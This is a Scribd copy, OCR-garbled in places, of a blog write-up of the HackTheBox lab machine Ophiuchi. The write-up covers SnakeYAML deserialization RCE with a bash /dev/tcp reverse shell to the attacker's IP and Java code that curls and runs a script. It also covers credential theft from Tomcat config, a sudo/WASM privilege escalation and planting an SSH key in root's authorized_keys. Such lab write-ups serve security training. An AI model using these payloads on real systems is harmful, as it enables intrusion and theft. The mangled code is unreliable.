Open navigation menu
Close suggestions
Search
Search
en
Change Language
Upload
Sign in
Sign in
Download free for days
0 ratings
0% found this document useful (0 votes)
736 views
11 pages
HTB Ophiuchi
Uploaded by
GinaAlexandra
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF or read online on Scribd
Download
Save
Save htb ophiuchi For Later
Share
0%
0% found this document useful, undefined
0%
, undefined
Print
Embed
Report
0 ratings
0% found this document useful (0 votes)
736 views
11 pages
HTB Ophiuchi
Uploaded by
GinaAlexandra
AI-enhanced title
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content,
claim it here
.
Available Formats
Download as PDF or read online on Scribd
Carousel Previous
Carousel Next
Download
Save
Save htb ophiuchi For Later
Share
0%
0% found this document useful, undefined
0%
, undefined
Print
Embed
Report
Download
Save htb ophiuchi For Later
You are on page 1
/ 11
Search
Fullscreen
‘uayz02 Hacithebex Ophiuchi- Witeup — fmash's blog Hackthebox Ophiuchi - Writeup Cire Fy (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) This is a medium difficulty hackthebox machine, a exploited using YAML deserialization vulnerablity for (mailto: fmash16agmail.comrakeVAML used in java applications, and modifying wasm QO file to get root privileges. (https: //github.com/fmash16) p s We Write the IP of the machine to our /etc/hosts file (https: //twitter.com/fmasht6) wo echo "10.10.10.227 ophiuchi.htb” >> /etc/hosts (https: //reddit.com/user/fmash16) Nmap Scan Open ports: hitpslimash16thub jfcontentwriteupsinacktheboxto-Ophiuch him ant‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog + 22/tep open ssh OpenSSH 8.2p1 Ubuntu 4ubuntud.1 (Ubuntu Linux; protocol 2.8) + 8080/tcp open http Apache Toncat 9.0.38 Enumeration Port 8080 - Apache tomcat server (/index.htm1) Going over to the page, we find a YAML parser. YAML is a human-readable data-serialization language. It is fmash16 connonly used for configuration files and in Student applications where data is being stored or transmitted. Infosec & Linux So lets check if we can exploit it using deserialization wulnerability. Googling for a bit, we find that SnakeYAML which is used in Java applications is 2 wilnerable to deserialization. Found a really good (mailto: fmash1 6gmail.confediua blog by Swapneil Kumar Dash here, O° {httes: //medium. com/fiswapnei ldash/snakeyanl- Enthusiast About me (/about.html) (https: //github. com/fmashts}"ilization-exnloited-béazcfaciBsa) wv . coats . n use this deserialization vulnerablity to get (http fbuitter. con/fnasht§), code execution. The original paper is to be found htto: ys ‘thub.com/mbech) hal (https: Hedi. con/user raat ‘github .con/mbechler/marshalsec thub.com/nbechler/marshalsec) And the YANL payload we are going to use is found at https: //github.con/artsploit/yaml-payload (https: //github.com/artsploit/yaml-payload). SnakeYAML deserialization exploit htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ant‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailte oO Hacithebex Ophiuchi- Witeup — fmash's blog We clone the repo and edit AwesoneScriptEngineFactory.java file to execute are desired commands. git clone https://github.com/artsploit/yaml-payl We can execute system commands useing the Runtime. getRuntine().exec() . We write a bash script revshell.sh as follows #!/bin/sh bash -i >& /dev/tcp/10.10.14.6/8888 9>61 Next we insert the commands to be executed on target machine. We use curl to get the revshell.sh fron our machine and execute it. mash16égmail.com) (https://github.com/fmash16) vy (https: //twitter.com/fmash16) & (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ant‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog package artsploit; import javax.script.Scriptengine; import javax.script.ScriptengineFactory; import java.io. IOException; import java.util.List; public class AwesomeScriptEngineFactory implement public AwesomeScriptengineFactory() { try { Runtime. getRuntime().exec(*curl htt Runtime. getRuntime().exec("bash /tmp/ (Findex.ntal) } catch (10Exception e) { fmash16 e.printstackTrace(); Student } Infosec & Linux } Enthusiast About me (/about.html) 8 (mailto: fmash16agmail.com) E 9 Now as per the instructions, we use the following (https: //github.com/fmashl ands to get our payload jar file vy (https: //twitter..com/fmash16) é cd_yaml-payload (https: //reddit.com/user/fmasht6}rc/artsploit/AwesomeScriptengineFactory. ja jar -cvf yaml-payload.jar -C src/ . Now, we have our payload jar file. We start a python web server at port 80 and insert the following YANL into the parser to get RCE. We also open a nc listener at port 8888 to get our reverse shell. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog python3 -m http.server 86 !!javax.script.ScriptengineManager [ !!java.net.URLClassLoader [[ !Java.net.URL ["http://10.10.14.6/yaml-paylo i] We can now get our reverse shell as user tomcat . (/index. html) frash16 Privilege Escalation - User Student a Infosec & Linux Enthusiast Going to the home directory, we find a user named About me (/about. html) admin 8 Browsing around, we find the user creds in the file (mailto:
[email protected]
/toncat/conf/toncat-users.xsd . We find the Oo following in the file (https: //github.com/fmas (nttps:/]twitter con/aa nies username="admin" password="whythereisalimi- oS > (https: //reddit.com/user/fmash16) Creds found: User: admin Password: whythereisalimit We can now ssh into the machine as suer admin using the obtained creds. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html sit‘uarzo2s Hacithebex Ophiuchi- Witeup — fmash's blog Privilege Escalation - root First, we check what sudo capabilities our user admin got using sudo -1. We find the following (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functi . So we can run (index.html) Jusr/bin/go run /opt/wasm-functions/index.go with root fmash16 privileges. Let’s check out the file. We get the Student following Infosec & Linux Enthusiast About me (/about.html) 8 (mailto: fmash16agmail.com) QO (https: //github.com/fmash16) vy (https: //twitter.com/fmash16) & (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailto:
[email protected]
(nttps://eithub.con/tnast (https :/Tevittor.con/ fe (https reddit. com/user, package main import ( "fmt" wasm "github. com/wasmerio/wasmer-go/wasme s/exec” "Log" func main() { bytes, _ := wasm.ReadBytes("main.wasm") instance, _ := wasm.NewInstance(bytes) defer instance.Close() init := instance.Exports["info" result, := init() f := result.String() if (f t= "1") fmt.Println("Not ready to deploy’ } else { ) fmt.PrintIn("Ready to deploy") out, err := exec.Command("/bin/sh 16) if err != nil { log. Fatal(err) 16) } fnash16) ; fmt.Printin(string(out)) } Here, we see that, functions and variables ar imported fron the main.wasm file and checking the value of the varibale f, if it equals 1, we get ready to deploy and execute /bin/sh deploy.sh htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html ms‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Hackthebex Ophiuchi- Writeup — fmash's blog What’s notable here is that absolute path is not used for main.wasm and the deploy.sh files. So we can manipulate these. These files will be read from our current working directory, from where we run the ‘index.go file. We make our working directory in tmp and copy over the main.wasm file. cd tmp mkdir work 8& cd work cp /opt/wasm-functions/main.wasm ./ We write our own deploy.sh file that echos out the id of the user. Enthusiast Hi /bin/sh About me (/about.html) echo $(id) 8 (nailto:frash!6dgnail con, we run the following as sudo (https: //github.com/fmash16) wv sudo /usr/bin/go run /opt/wasm-functions/index.g (https: //twitter.com/fmash16) é , (https: //reddit.com/user/fmasb1Ad error Not ready to deploy . So the value of f is not 1, which is read from the wasm file. Wasn is short for WebAssembly. WebAssenbly is an open standard that defines @ portable binary-code format for executable prograns, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such prograns and their host environment. htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html‘uarzo2s htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailte oO (https://github.com/fmash16) wv (https: //twitter.com/fma & (https: //reddit.com/user,
[email protected]
Hackthebex Ophiuchi- Writeup — fmash's blog The text readable format of WASM binary is WAT(Web Assembly Text). We can manipulate the value of editing the wasm file in this format. We install the toolsuit https: //gi thub. con/webassenbly/wabt (https: //github.com/webassenbly/wabt) We have 2 binaries wasm2wat and wat2wasm that we can use. We transfer the main.wasm file from the target machine to our local machine using ne cat main.wasm | nc {your-ip} {your-port} (on t ne -Lnvp {your-port} > main.wasm (on Lo) We convert the wasm to wat and get the following wasm2wat main.wasm > main.wat cat main.wat (module (type (505) (func (result i32)) (func $info (type ©) (result i32) i32.const 6) (table (;0;) 1 1 funcref) fmasffRByey (595) 16) < h16) (global (;0;) (mut i32) (i32.const 1048576) (global (;1;) 132 (432.const 1048576) (global (;2;) 132 (i32.const 1048576) (export "memory" (memory ©)) (export “info” (func $info)) (export "__data_end" (global 1)) (export "__heap_base" (global 2))) ont‘uarzo2s (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) 8 (mailto: fmash16dgmail.comip the authorized keys file at /root/.ssh/ using the oO (https: //github.com/fmash'Rs}- vy (https: //twitter.com/fma & (https: //reddit.com/user, Hacithebex Ophiuchi- Witeup — fmash's blog Here ue see that the value of f is a constant 0, we change that to 1, our required value. (1 i32.const 6) (+] i32.const 1) Now we conver the wat back to nasm and move it to our target machine working directory. wat2wasm main.wat sep main.wasm admindophiuchi.htb: /tmp/work Now, we run the sudo conmand again. And this time we get connand execution as root Ready to deploy uid=0(root) gid=0(root) groups=6(root) We get our id-rsa.pub using ssh-keygen and paste it deploy.sh fileto be able to SSH into the machine as N18) jein/sh fnashl@).) echo "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAt# eee eee: zHy+9fuMs= rootakali" >> /root/.ssh/authorized_ke| Now we can ssh into root and get our root.txt file htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html sont‘uarzo2s Hackthebex Ophiuchi- Writeup — fmash's blog ssh
[email protected]
cat root. txt Generated with a sodified version of sse5 https: //eithud.con/faash16/ssg5) By frash16 © 2020-2020 (/index. html) fmash16 Student Infosec & Linux Enthusiast About me (/about.html) g (mailto: fmash16agmail.com) (https://github.com/fmash16) wv (https: //twitter.com/fmash16) (https: //reddit.com/user/fmash16) htps:mash 6 gthub jfcontenvwritaupsthacktheboxtte-Ophiuchi html an
You might also like
eJPT Cheat Sheet - Liju
PDF
100% (2)
eJPT Cheat Sheet - Liju
79 pages
Oscp Alpha
PDF
No ratings yet
Oscp Alpha
94 pages
eJPT Solution
PDF
No ratings yet
eJPT Solution
23 pages
Relatório OSCP
PDF
No ratings yet
Relatório OSCP
44 pages
Isc2 Acceleratedcissp 2018 3 1 15 Security Architecture and Engineering
PDF
No ratings yet
Isc2 Acceleratedcissp 2018 3 1 15 Security Architecture and Engineering
37 pages
BSCP1
PDF
No ratings yet
BSCP1
4 pages
Pivoting
PDF
100% (1)
Pivoting
2 pages
Attacking Authentication Mechanisms - @CyberFreeCourses
PDF
No ratings yet
Attacking Authentication Mechanisms - @CyberFreeCourses
78 pages
@FsKnockouT-23. Web Attacks
PDF
No ratings yet
@FsKnockouT-23. Web Attacks
57 pages
Cybersec Roadmap
PDF
No ratings yet
Cybersec Roadmap
1 page
Aero HackTheBox Solution
PDF
No ratings yet
Aero HackTheBox Solution
14 pages
Web Application Firewalls: Defense in Depth For Your Web Infrastructure
PDF
No ratings yet
Web Application Firewalls: Defense in Depth For Your Web Infrastructure
6 pages
147-Reddish HTB Official Writeup Tamarisk
PDF
No ratings yet
147-Reddish HTB Official Writeup Tamarisk
18 pages
HackTheBox - Baby Breaking Grad (Challenge)
PDF
No ratings yet
HackTheBox - Baby Breaking Grad (Challenge)
6 pages
The Write-Up For UniFied SP On HTB Platform
PDF
No ratings yet
The Write-Up For UniFied SP On HTB Platform
19 pages
Guide To SSRF
PDF
No ratings yet
Guide To SSRF
6 pages
Ange Cryption
PDF
100% (1)
Ange Cryption
86 pages
Nmap Cheat Sheet From Discovery To Exploits - Part 1 Introduction To Nmap
PDF
No ratings yet
Nmap Cheat Sheet From Discovery To Exploits - Part 1 Introduction To Nmap
19 pages
Exploiting Vulnerbilities in ESXi - Preauth RCE and Sandbox Escape.
PDF
No ratings yet
Exploiting Vulnerbilities in ESXi - Preauth RCE and Sandbox Escape.
68 pages
© 2018 Caendra, Inc. - Hera For PTP - SNMP Analysis
PDF
No ratings yet
© 2018 Caendra, Inc. - Hera For PTP - SNMP Analysis
13 pages
Mis Fallos en Ejptv2.PDF - Es.en
PDF
No ratings yet
Mis Fallos en Ejptv2.PDF - Es.en
6 pages
Student Transcript Danilo: Introduction To Academy
PDF
No ratings yet
Student Transcript Danilo: Introduction To Academy
5 pages
Offensive Software Exploitation: Ali Hadi
PDF
No ratings yet
Offensive Software Exploitation: Ali Hadi
41 pages
Haboob Team: Windows Privilege Escalations
PDF
No ratings yet
Haboob Team: Windows Privilege Escalations
17 pages
Black-Box Penetration Test 1
PDF
No ratings yet
Black-Box Penetration Test 1
29 pages
OffSec Live-PEN200
PDF
No ratings yet
OffSec Live-PEN200
28 pages
Securebasebook PDF
PDF
No ratings yet
Securebasebook PDF
184 pages
© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
PDF
No ratings yet
© 2019 Caendra Inc. - Hera For Waptxv2 - Xxe Labs
16 pages
Project Innitiation Document: Configuration Signed-Off - End March
PDF
100% (1)
Project Innitiation Document: Configuration Signed-Off - End March
2 pages
CPENTbrochure
PDF
No ratings yet
CPENTbrochure
9 pages
Scripted Dish's Hashed HXBXBXBD BZBZBZBXB
PDF
No ratings yet
Scripted Dish's Hashed HXBXBXBD BZBZBZBXB
1 page
October 2
PDF
No ratings yet
October 2
8 pages
Oil Spill Contingency Plan
PDF
No ratings yet
Oil Spill Contingency Plan
70 pages
Backdoor
PDF
No ratings yet
Backdoor
15 pages
Report Vulnerability Template
PDF
No ratings yet
Report Vulnerability Template
23 pages
230 Hunting Web Shells
PDF
No ratings yet
230 Hunting Web Shells
151 pages
Quick
PDF
No ratings yet
Quick
21 pages
Walkthroughs 2 PDF
PDF
No ratings yet
Walkthroughs 2 PDF
99 pages
© 2020 Caendra Inc. - Hera For Waptxv2 - XML Injection Labs
PDF
No ratings yet
© 2020 Caendra Inc. - Hera For Waptxv2 - XML Injection Labs
10 pages
Cyber Security Penetration Testing Activity v2
PDF
No ratings yet
Cyber Security Penetration Testing Activity v2
10 pages
Operation System Non-Metasploit
PDF
No ratings yet
Operation System Non-Metasploit
7 pages
Linux Command Cheat Sheet Part 1
PDF
No ratings yet
Linux Command Cheat Sheet Part 1
5 pages
HTB Sherlock Logjammer
PDF
No ratings yet
HTB Sherlock Logjammer
22 pages
HP Webinspect Competitive Card
PDF
No ratings yet
HP Webinspect Competitive Card
4 pages
Use of Metasploit Framework in Kali Linux: April 2015
PDF
No ratings yet
Use of Metasploit Framework in Kali Linux: April 2015
9 pages
Pandora
PDF
No ratings yet
Pandora
21 pages
Mcafee Network Security Platform 10.1.x Manager API Reference Guide 5-6-2022
PDF
No ratings yet
Mcafee Network Security Platform 10.1.x Manager API Reference Guide 5-6-2022
1,399 pages
How To Implement SSL Decryption PDF
PDF
No ratings yet
How To Implement SSL Decryption PDF
11 pages
Tulpa PWK Prep Guide1
PDF
No ratings yet
Tulpa PWK Prep Guide1
9 pages
M0chan Bug Bounty Cheatsheet
PDF
No ratings yet
M0chan Bug Bounty Cheatsheet
43 pages
HackTheBox - Bucket Walkthrough
PDF
No ratings yet
HackTheBox - Bucket Walkthrough
11 pages
Carlosgarcia Slides 180312234839
PDF
No ratings yet
Carlosgarcia Slides 180312234839
96 pages
Hping
PDF
No ratings yet
Hping
6 pages
XSS (Cross Site Scripting) Cheat Sheet Esp: For Filter Evasion
PDF
No ratings yet
XSS (Cross Site Scripting) Cheat Sheet Esp: For Filter Evasion
18 pages
SSH Password Guessing: Linux Compromise and Forensics
PDF
No ratings yet
SSH Password Guessing: Linux Compromise and Forensics
6 pages
Lesson 8: IPSec
PDF
No ratings yet
Lesson 8: IPSec
61 pages
Advanced Windows Power Shell Scripting
PDF
No ratings yet
Advanced Windows Power Shell Scripting
28 pages
253-Dyplesher HTB Official Writeup
PDF
No ratings yet
253-Dyplesher HTB Official Writeup
25 pages
Bitlab
PDF
No ratings yet
Bitlab
16 pages
Telnet Exploit
PDF
No ratings yet
Telnet Exploit
5 pages